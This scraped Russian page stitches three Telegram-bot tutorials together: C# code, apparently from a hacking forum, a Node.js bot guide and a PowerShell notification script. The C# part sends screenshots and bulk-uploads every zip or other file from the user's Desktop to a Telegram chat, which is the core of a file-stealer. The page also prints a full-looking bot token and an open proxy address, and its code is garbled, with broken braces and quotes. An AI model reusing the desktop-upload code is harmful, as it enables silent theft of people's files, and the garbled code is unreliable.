Telegram bot команда sendmessage

Если Вы не можете подключиться к боту используйте VPN сервер, или же подключитесь напрямую через Proxy к TelegramBotClient — Об этом в следующем уроке.

Создаём класс Telega.cs

Подключим все зависимости:

using System; using System.IO; using System.Linq; using System.Net.Http; using System.Text; using System.Threading.Tasks; using Telegram.Bot; using Telegram.Bot.Types; using Telegram.Bot.Types.InputFiles;

Создадим переменную bot от TelegramBotClient внутри класса Telega

public class Telega < private static TelegramBotClient bot; // Переменная bot >

Запишем функцию отправки и удаления сообщения

В классе Program.cs

using System; using System.IO; using System.Text; internal static partial class Program < // Получаете данные в своём телеграм боте, и после прописываете их в коде. private static string token = «8600:AAHzYkm8eZKd***»; // тут ваш токен private static int // тут ваш айди private static StringBuilder stringBuilder = new StringBuilder(); public static void Main() < Console.Title = «TelegramBot»; stringBuilder.AppendLine($»Привет это я твой бот =)»); try < Telega.SendMessage(token, id, stringBuilder?.ToString()).Wait(); >catch (AggregateException) < File.AppendAllText(«ConnectError.txt», «Ошибка подключения возможно вы находитесь за NAT. Используйте Proxy сервер или VPNrn»); >> >

Теперь в классе Telega.cs — запишем функцию которая будет отправлять скриншот

Send messages using telegram bot


public static async Task SendPhoto(string token, int chatId, string filePath) < if (!string.IsNullOrWhiteSpace(token) || System.IO.File.Exists(filePath)) < using (var form = new MultipartFormDataContent()) < form.Add(new StringContent(chatId.ToString(), Encoding.UTF8), «chat_id»); using (var fileStream = new FileStream(filePath, FileMode.Open, FileAccess.Read)) < form.Add(new StreamContent(fileStream), «photo», filePath.Split(‘\’).Last()); using (var client = new HttpClient()) < await client.PostAsync($»https://api.telegram.org/bot/sendPhoto», form); Console.WriteLine(«Скриншот отправлен успешно!»); > > > > >

В классе Program.cs вызываем так:

Если Вы хотите массово отправить файлы сделайте это следующим способом:

public static void MassSendFiles(string token, int id, string dir, string pattern) < try < if (!string.IsNullOrWhiteSpace(token)) < foreach (string files in Directory.EnumerateFiles(dir, pattern, SearchOption.TopDirectoryOnly)) < SendFile(token, id, files).Wait(); >> > catch (Exception ex) < Console.WriteLine(ex.Message); >>
private static readonly string DesktopFile = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory); Telega.MassSendFiles(token, id, DesktopFile, «*zip»);

Ну и на по следок получим информацию о боте:

В классе Telega.cs запишем функцию которая получит нужную нам информацию:

How to Create a Telegram Bot and Send Message via bot API


public static void GetInfo(string token) < if (!string.IsNullOrWhiteSpace(token)) < try < bot = new TelegramBotClient(token); var basa = new StringBuilder(); User me = bot.GetMeAsync().Result; if (me.IsBot) < basa.AppendLine($»Логин бота: «); basa.AppendLine($»Имя бота: «); basa.AppendLine($»ID бота: «); > Console.WriteLine(basa?.ToString()); > catch (AggregateException) < Console.WriteLine(«Соединение блокировано, используйте Proxy Сервер»); >> >
Telega.GetInfo(token); Console.ReadKey();

Еще по теме:  Как из меню сообщества ВК сделать переход в Телеграмм

На этом всё =) Всем удачи.

namespace NewBot < using System; using System.IO; using System.Text; using System.Threading.Tasks; internal static partial class Program < // private static string token = «860740080:AAHzYkm8eSYmZKd***»; // private static int private static readonly string txtfile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory), «file.txt»); private static StringBuilder stringBuilder = new StringBuilder(); public static void Main() < Console.Title = «TelegramBot Test connect by Antlion»; stringBuilder.AppendLine($»Привет бот это: «); Console.ForegroundColor = ConsoleColor.Green; Console.WriteLine(«»Для подключения требуется VPN сервер!»rn»); Console.ForegroundColor = ConsoleColor.Cyan; Console.Write(«Введите токен для подключения: «); string token = Console.ReadLine(); // тут вводим наш токен бота Console.Write(«Введите ID: «); int Console.ForegroundColor = ConsoleColor.White; Console.WriteLine(); Task.Run(() => < //Telega.SendMessage(token, id, stringBuilder.ToString()).Wait(); //Telega.SendPhoto(id, file, token).Wait(); Telega.SendFile(token, id, txtfile).Wait(); >); //string desktopath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory), «Files»); //Task.Run(() => Telega.MassSendFiles(token, id, desktopath, «*.*»)); Telega.GetInfo(token); Console.ReadKey(); > /* public static void Main() < Console.Title = «TelegramBot»; try < Telega.GetInfo(token); Console.ReadKey(); >catch (AggregateException) < File.AppendAllText(«ConnectError.txt», «Ошибка подключения возможно вы находитесь за NAT. Используйте Proxy сервер или VPNrn»); >> */ > >

Код писался давно, многое можно переписать, но лень) Может кому-то будет полезно, что-то для себя возьмёт.

Источник: brokencore.club

Создаем Telegram-бота с помощью Node.js за 3 минуты

Создаем Telegram-бота с помощью Node.js за 3 минуты

В первую очередь нужно зарегистрировать бота. Сделать это можно в приложении Telegram через BotFather.

Skillfactory.ru

Нажмите Start в чате и просмотрите доступные варианты. Вам понадобится выбрать название для бота и имя пользователя, а затем можно сохранять ключ.

Переходим к коду. Для работы с API Telegram воспользуемся пакетом NPM. Устанавливаем его с помощью команды yarn add node-telegram-bot-api .

Пакет готов к работе. Добавляем токен в переменную:

const TelegramBot = require(‘node-telegram-bot-api’) const token = ‘YOUR_TELEGRAM_BOT_TOKEN’ const bot = new TelegramBot(token, < polling: true >)

Теперь можно приступать к настройке бота. Ниже показан простой пример:

bot.onText(//echo (.+)/, (msg, match) => < const chatId = msg.chat.id const resp = match[1] bot.sendMessage(chatId, resp) >)

onText позволяет реагировать на сообщения, соответствующие регулярным выражениям. В этом варианте //echo (.+)/ означает, что вам нужно написать /echo , а следом за ним какой-либо текст.

Переменная chatId представляет ID пользователя, который используется для отправки сообщения. Чтобы бот мог самостоятельно выполнять эту функцию, ID должны где-то храниться.

bot.sendMessage применятся для отправки сообщений. Строка resp посылается после команды echo . Бот отправляет обратно то, что он получает.

Еще по теме:  Как очистить все гифки в Телеграмме

Запускаем node app.js , открываем чат с ботом и отправляем ему следующее.

Автоматическая отправка сообщений

Как было сказано выше, чтобы отправлять пользователям сообщения, понадобится chatId , который нужно где-то хранить. В приложениях для этого стоит выбрать энергонезависимые хранилища, такие как MySQL, MongoDB и любые другие базы данных.

Skillfactory.ru

В этом примере мы будем хранить идентификаторы в массиве. Пользователь может зарегистрироваться в боте с помощью /register . После этого он будет получать сообщения.

Бот отправляет сообщение каждому пользователю один раз в секунду. Для этого достаточно пройтись по массиву с циклом for .

let users = [] bot.onText(//register/, (msg, match) => < const chatId = msg.chat.id users.push(chatId) console.log(‘user registered’) bot.sendMessage(chatId, ‘Done.’) >) setInterval(function () < if (users.length >0) < for (let i = 0; i < users.length; i++) < bot.sendMessage(users[i], ‘Is this annoying?’) >> else < console.log(‘no user registered’) >>, 1000)

После отправки /register боту мы начинаем получать много спама.

Реакция на все сообщения

bot.onText позволяет реагировать на сообщения, соответствующие регулярному выражению. Чтобы обрабатывать любой входящий текст, нужно воспользоваться bot.on(«message») — он запускается каждый раз, когда кто-то отправляет сообщение.

Вот простой пример. Бот реагирует на каждое сообщение, но отвечает, только когда пользователь присылает текст “dog”.

bot.on(‘message’, (msg) => < const chatId = msg.chat.id if (msg.text == ‘dog’) < bot.sendMessage(chatId, «You sent ‘dog'») >>)

Отправка опросов

В Telegram можно обменивать не только стикерами, видео и текстом, но и опросами. Создавать их очень просто.

bot.sendPoll(chatId, ‘Is Telegram great?’, [‘Sure’, ‘Of course’])

Сразу после ID мы передаем вопрос, а затем идет массив возможных вариантов ответов. Вы можете добавить больше опций по желанию.

Telegram-бот, созданный с помощью Node.js, готов.

  • Найти и обезвредить: утечки памяти в Node.js
  • Создание многопользовательской игры с использованием Socket.io при помощи NodeJS и React
  • Что такое Deno и заменит ли он NodeJS?

Источник: nuancesprog.ru

Как отправить сообщение в Telegram из PowerShell

Уведомления, получаемые от систем мониторинга, стали неотъемлемой частью специалистов занимающихся сопровождением информационных систем. Однако, мир не стоит на месте и все чаще появляются новые способы оповещения. К традиционным средствам оповещения о состоянии информационных систем: электронная почта и SMS добавились новые средства доставки уведомлений, такие как мессенджеры. Наибольшей популярностью, для этой цели, у системных администраторов стал мессенджер Telegram. А в системах мониторинга появилась возможность настраивать интеграцию с мессенджерами, с целью оперативной рассылки уведомлений.
Но что делать если централизованной системы мониторинга нет, или в ней нет особой необходимости, а потребность получать уведомления в Telegram есть.
Ниже описан один из способов пошаговой настройки для отправки сообщений в Telegram используя PowerShell.

Еще по теме:  Как изменить дату в Телеграмме

Допустим наш бот будет называться UserMan.ru и иметь идентификатор UserManRu_bot.

В ответ придет уникальный token для созданного бота, который будет использоваться при отправке сообщений.
Например боту UserManRu_bot был присвоен токен: 819090298:AAGjXP6QLPMkem9t2LflIHOAiE_Q58bA43g

2. Создать группу в Telegram и получить ее идентификатор
Для получения идентификатора группы необходимо создать новую группу в Telegram (или использовать имеющуюся группу) и добавить туда созданного бота UserManRu_bot. А для получения идентификатор учетной записи следует отправить боту UserManRu_bot сообщение /Start и любое тестовое сообщение.

Затем необходимо проверить историю обращений которые были к боту, используя запрос ниже:

https://api.telegram.org/bot/getUpdates
В случае с ботом UserManRu_bot это будет:
https://api.telegram.org/bot819090298:AAGjXP6QLPMkem9t2LflIHOAiE_Q58bA43g/getUpdates

В результате мы увидим уникальный идентификатор пользователя (наш идентификатор), он нам понадобится при отправке сообщений
А также уникальный идентификатор группы

<«ok»:true,»result»:[<«update_id»:146972760, «message»:<«message_id»:2,»from»:172489755,»is_bot»:false,»first_name»:»Test»,»last_name»:»Test»,»username»:»mynick»,»language_code»:»en»>,»chat»:,»date»:1553259454,»text»:»Test»>>,,»chat»:-347310642,»title»:»UserMan.ru»,»type»:»group»,»all_members_are_administrators»:true>,»date»:1553257968,»group_chat_created»:true>>]>

Из этого набора символов в формате JSON определяем ID пользователя, который отправил сообщение «Test»: 172489755
и Id группы в которую добавили бота: -347310642

  • token — Уникальный идентификатор, который был получен при создании бота
  • chat_id — уникальный идентификатор пользователя или группы. Он определяется запросом getUpdates
  • text — текст сообщения, которое необходимо направить

https://api.telegram.org/bot/sendMessage?chat_id=text=Hello

Вставляем этот запрос в адресную строку браузера и переходим по ссылке. Сообщение Hello должно прийти сообщение в группу.

4. Сформировать скрипт для отправки сообщения
Чтобы сформировать и выполнить Web запрос выше, используя PowerShell, потребуется небольшой скрипт. Пример скрипта показан ниже:

$token = «819090298:AAGjXP6QLPMkem9t2LflIHOAiE_Q58bA43g» $chat_id = «-347310642» $text = «Hello World!» $URI = «https://api.telegram.org/bot» + $token + «/sendMessage?chat_id=» + $chat_id + «>ID чата всегда начинается со знака минус, а ID пользователя всегда без знака минус
5. Использование Proxy для отправки запроса
Если вы используете в своей сети прокси сервер или ваш провайдер запрещает доступ к telegram, то можно добавить к PowerShell командлету Invoke-WebRequest параметр -Proxy с указанием прокси сервера и порта, с которых разрешен доступ к Telegram. В этом случае скрипт будет иметь вид:
$token = «819090298:AAGjXP6QLPMkem9t2LflIHOAiE_Q58bA43g» $chat_id = «-347310642» $text = «Hello World!» $URI = «https://api.telegram.org/bot» + $token + «/sendMessage?chat_id=» + $chat_id + » + $text $Request = Invoke-WebRequest -URI ($URI) -Proxy «http://134.19.218.94:3128»

Где, 134.19.218.94:3128 — это один из примеров открытого прокси сервера.

Источник: userman.ru

Рейтинг
( Пока оценок нет )
Загрузка ...